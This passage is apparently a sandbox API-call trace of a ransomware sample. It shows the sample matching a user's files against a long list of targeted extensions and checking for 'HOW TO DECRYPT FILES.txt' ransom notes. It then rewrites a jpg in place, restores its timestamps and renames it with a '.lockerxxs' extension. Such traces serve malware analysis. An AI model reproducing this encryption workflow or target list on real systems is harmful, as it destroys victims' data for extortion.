HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.raw") returned 0 [0091.095] lstrlenA (lpString="*.raw") returned 5 [0091.095] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.nef") returned 0 [0091.095] lstrlenA (lpString="*.nef") returned 5 [0091.095] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.svg") returned 0 [0091.095] lstrlenA (lpString="*.svg") returned 5 [0091.095] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.psd") returned 0 [0091.095] lstrlenA (lpString="*.psd") returned 5 [0091.095] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.vmx") returned 0 [0091.095] lstrlenA (lpString="*.vmx") returned 5 [0091.095] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.vmdk") returned 0 [0091.095] lstrlenA (lpString="*.vmdk") returned 6 [0091.095] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.vdi") returned 0 [0091.095] lstrlenA (lpString="*.vdi") returned 5 [0091.095] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.lay6") returned 0 [0091.095] lstrlenA (lpString="*.lay6") returned 6 [0091.095] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.mpeg") returned 0 [0091.095] lstrlenA (lpString="*.mpeg") returned 6 [0091.095] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.djvu") returned 0 [0091.095] lstrlenA (lpString="*.djvu") returned 6 [0091.096] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.tiff") returned 0 [0091.096] lstrlenA (lpString="*.tiff") returned 6 [0091.096] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.backup") returned 0 [0091.096] lstrlenA (lpString="*.backup") returned 8 [0091.096] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.pdf") returned 0 [0091.096] lstrlenA (lpString="*.pdf") returned 5 [0091.096] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.cert") returned 0 [0091.096] lstrlenA (lpString="*.cert") returned 6 [0091.096] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.docm") returned 0 [0091.096] lstrlenA (lpString="*.docm") returned 6 [0091.096] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.xlsm") returned 0 [0091.096] lstrlenA (lpString="*.xlsm") returned 6 [0091.096] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.dwg") returned 0 [0091.096] lstrlenA (lpString="*.dwg") returned 5 [0091.096] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.nd") returned 0 [0091.096] lstrlenA (lpString="*.nd") returned 4 [0091.096] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.tlg") returned 0 [0091.096] lstrlenA (lpString="*.tlg") returned 5 [0091.096] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.lgb") returned 0 [0091.096] lstrlenA (lpString="*.lgb") returned 5 [0091.096] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.mov") returned 0 [0091.096] lstrlenA (lpString="*.mov") returned 5 [0091.096] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.xdw") returned 0 [0091.096] lstrlenA (lpString="*.xdw") returned 5 [0091.096] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.ods") returned 0 [0091.096] lstrlenA (lpString="*.ods") returned 5 [0091.096] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.wav") returned 0 [0091.096] lstrlenA (lpString="*.wav") returned 5 [0091.096] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.mp3") returned 0 [0091.097] lstrlenA (lpString="*.mp3") returned 5 [0091.097] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.aiff") returned 0 [0091.097] lstrlenA (lpString="*.aiff") returned 6 [0091.097] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.flac") returned 0 [0091.097] lstrlenA (lpString="*.flac") returned 6 [0091.097] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.m4a") returned 0 [0091.097] lstrlenA (lpString="*.m4a") returned 5 [0091.097] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.csv") returned 0 [0091.097] lstrlenA (lpString="*.csv") returned 5 [0091.097] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc98c3d00, ftCreationTime.dwHighDateTime=0x1d5e762, ftLastAccessTime.dwLowDateTime=0x673f2010, ftLastAccessTime.dwHighDateTime=0x1d5df22, ftLastWriteTime.dwLowDateTime=0x673f2010, ftLastWriteTime.dwHighDateTime=0x1d5df22, nFileSizeHigh=0x0, nFileSizeLow=0x484b, dwReserved0=0x52d540, dwReserved1=0x4ff4e8, cFileName="TvETS.bmp", cAlternateFileName="")) returned 0 [0091.097] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0091.097] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeea45c0, ftCreationTime.dwHighDateTime=0x1d5e3c9, ftLastAccessTime.dwLowDateTime=0x1fb4e700, ftLastAccessTime.dwHighDateTime=0x1d5e145, ftLastWriteTime.dwLowDateTime=0x1fb4e700, ftLastWriteTime.dwHighDateTime=0x1d5e145, nFileSizeHigh=0x0, nFileSizeLow=0xc7ef, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="pgfP_RDHD43 CeHO78TZ.jpg", cAlternateFileName="PGFP_R~1.JPG")) returned 1 [0091.097] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0091.097] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="pgfP_RDHD43 CeHO78TZ.jpg") returned -1 [0091.097] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="pgfP_RDHD43 CeHO78TZ.jpg") returned -1 [0091.097] lstrcmpiA (lpString1="", lpString2="pgfP_RDHD43 CeHO78TZ.jpg") returned -1 [0091.097] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\*.*") returned="*.*" [0091.097] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\" [0091.097] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\") returned="" [0091.098] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\HOW TO DECRYPT FILES.txt" [0091.098] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\ciss89zr13ojxpngy\\how to decrypt files.txt")) returned 0x20 [0091.098] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\", lpString2="pgfP_RDHD43 CeHO78TZ.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg" [0091.098] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg", pszSpec="*.ems") returned 0 [0091.098] lstrlenA (lpString="*.ems") returned 5 [0091.098] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg", pszSpec="*.db") returned 0 [0091.098] lstrlenA (lpString="*.db") returned 4 [0091.098] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg", pszSpec="*.dbf") returned 0 [0091.098] lstrlenA (lpString="*.dbf") returned 5 [0091.098] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg", pszSpec="*.myox") returned 0 [0091.098] lstrlenA (lpString="*.myox") returned 6 [0091.098] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg", pszSpec="*.myo") returned 0 [0091.098] lstrlenA (lpString="*.myo") returned 5 [0091.098] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg", pszSpec="*.qbw") returned 0 [0091.098] lstrlenA (lpString="*.qbw") returned 5 [0091.098] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg", pszSpec="*.qbb") returned 0 [0091.098] lstrlenA (lpString="*.qbb") returned 5 [0091.098] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg", pszSpec="*.qbm") returned 0 [0091.098] lstrlenA (lpString="*.qbm") returned 5 [0091.098] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg", pszSpec="*.qbo") returned 0 [0091.098] lstrlenA (lpString="*.qbo") returned 5 [0091.099] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg", pszSpec="*.qbx") returned 0 [0091.099] lstrlenA (lpString="*.qbx") returned 5 [0091.099] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg", pszSpec="*.qba") returned 0 [0091.099] lstrlenA (lpString="*.qba") returned 5 [0091.099] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg", pszSpec="*.qby") returned 0 [0091.099] lstrlenA (lpString="*.qby") returned 5 [0091.099] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg", pszSpec="*.qbj") returned 0 [0091.099] lstrlenA (lpString="*.qbj") returned 5 [0091.099] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg", pszSpec="*.ofx") returned 0 [0091.099] lstrlenA (lpString="*.ofx") returned 5 [0091.099] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg", pszSpec="*.qif") returned 0 [0091.099] lstrlenA (lpString="*.qif") returned 5 [0091.099] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg", pszSpec="*.mye") returned 0 [0091.099] lstrlenA (lpString="*.mye") returned 5 [0091.099] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg", pszSpec="*.mbox") returned 0 [0091.099] lstrlenA (lpString="*.mbox") returned 6 [0091.099] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg", pszSpec="*.eml") returned 0 [0091.099] lstrlenA (lpString="*.eml") returned 5 [0091.099] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg", pszSpec="*.pst") returned 0 [0091.099] lstrlenA (lpString="*.pst") returned 5 [0091.099] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg", pszSpec="*.ost") returned 0 [0091.099] lstrlenA (lpString="*.ost") returned 5 [0091.099] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg", pszSpec="*.idx") returned 0 [0091.099] lstrlenA (lpString="*.idx") returned 5 [0091.099] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg", pszSpec="*.dbx") returned 0 [0091.100] lstrlenA (lpString="*.dbx") returned 5 [0091.100] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg", pszSpec="*.sql") returned 0 [0091.100] lstrlenA (lpString="*.sql") returned 5 [0091.100] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg", pszSpec="*.mdb") returned 0 [0091.100] lstrlenA (lpString="*.mdb") returned 5 [0091.100] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg", pszSpec="*.fdb") returned 0 [0091.100] lstrlenA (lpString="*.fdb") returned 5 [0091.100] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg", pszSpec="*.wab") returned 0 [0091.100] lstrlenA (lpString="*.wab") returned 5 [0091.100] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg", pszSpec="*.dat") returned 0 [0091.100] lstrlenA (lpString="*.dat") returned 5 [0091.100] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg", pszSpec="*.txt") returned 0 [0091.100] lstrlenA (lpString="*.txt") returned 5 [0091.100] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg", pszSpec="*.jpeg") returned 0 [0091.100] lstrlenA (lpString="*.jpeg") returned 6 [0091.100] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg", pszSpec="*.jpg") returned 1 [0091.100] lstrlenA (lpString="*.jpg") returned 5 [0091.100] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg" [0091.100] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg" [0091.100] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg." [0091.100] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg.lockerxxs" [0091.100] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\ciss89zr13ojxpngy\\pgfp_rdhd43 ceho78tz.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0091.102] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xc7ef [0091.102] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xeeea45c0, dwHighDateTime=0x1d5e3c9), lpLastAccessTime=0x407536*(dwLowDateTime=0x1fb4e700, dwHighDateTime=0x1d5e145), lpLastWriteTime=0x40753e*(dwLowDateTime=0x1fb4e700, dwHighDateTime=0x1d5e145)) returned 1 [0091.102] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0091.102] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xc7c9, lpOverlapped=0x0) returned 1 [0091.104] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg") returned="pgfP_RDHD43 CeHO78TZ.jpg" [0091.105] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0091.105] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xc7c9, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xc7c9, lpOverlapped=0x0) returned 1 [0091.105] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0091.105] CloseHandle (hObject=0x94) returned 1 [0091.105] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\ciss89zr13ojxpngy\\pgfp_rdhd43 ceho78tz.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\pgfP_RDHD43 CeHO78TZ.jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\ciss89zr13ojxpngy\\pgfp_rdhd43 ceho78tz.jpg.lockerxxs")) returned 1 [0091.106] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e3f3d30, ftCreationTime.dwHighDateTime=0x1d5e08b, ftLastAccessTime.dwLowDateTime=0x1a0c9df0, ftLastAccessTime.dwHighDateTime=0x1d5e2ff, ftLastWriteTime.dwLowDateTime=0x1a0c9df0, 